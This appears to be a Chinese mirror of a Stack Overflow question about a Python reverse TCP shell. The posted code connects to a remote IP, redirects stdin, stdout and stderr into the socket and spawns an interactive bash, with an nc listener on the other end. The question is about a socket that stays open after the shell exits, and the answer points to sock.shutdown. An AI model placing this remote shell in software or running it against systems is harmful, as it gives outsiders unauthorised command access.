作者热门文章
- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我正在编写一个使用以下代码生成反向 TCP-Shell 的简单代理。
class ReverseShell:
def __init__(self, ip, port=9002):
self.ip = ip
self.port = port
def start(self):
sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((self.ip,self.port))
os.dup2(sock.fileno(),0)
os.dup2(sock.fileno(),1)
os.dup2(sock.fileno(),2)
subprocess.call(["/bin/bash","-i"]);
sock.close()
然后我使用以下方法监听我的目标地址:
nc -l 9002
shell 连接良好。但是,如果我键入 exit 它会终止 shell,但数据似乎仍在写入套接字,并停止写入 stdout 代理端。如果我 ctrl+c 退出它,同样的事情会发生,它会杀死 /bin/bash
shell,但套接字保持打开状态,我的代理上的文本不会被写入标准输出。我错过了什么?
最佳答案
您需要在 sock.close()
之前执行 sock.shutdown(socket.SHUT_RDWR)
以终止底层的 tcp 连接。
关于python - 优雅地杀死一个孤立的套接字,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/26028052/
如果数据很大,我正在使用 orphan 属性在打印时添加分页符它在 chrome 和 IE 中工作但在 FireFox 中不支持. docprint.document.write('
如果我从“Default.aspx”等进行 AJAX PageMethod 或 WebMethod 调用,然后在初始 PageMethod 返回之前快速导航到另一个页面(例如“Settings.asp
我是一名优秀的程序员,十分优秀!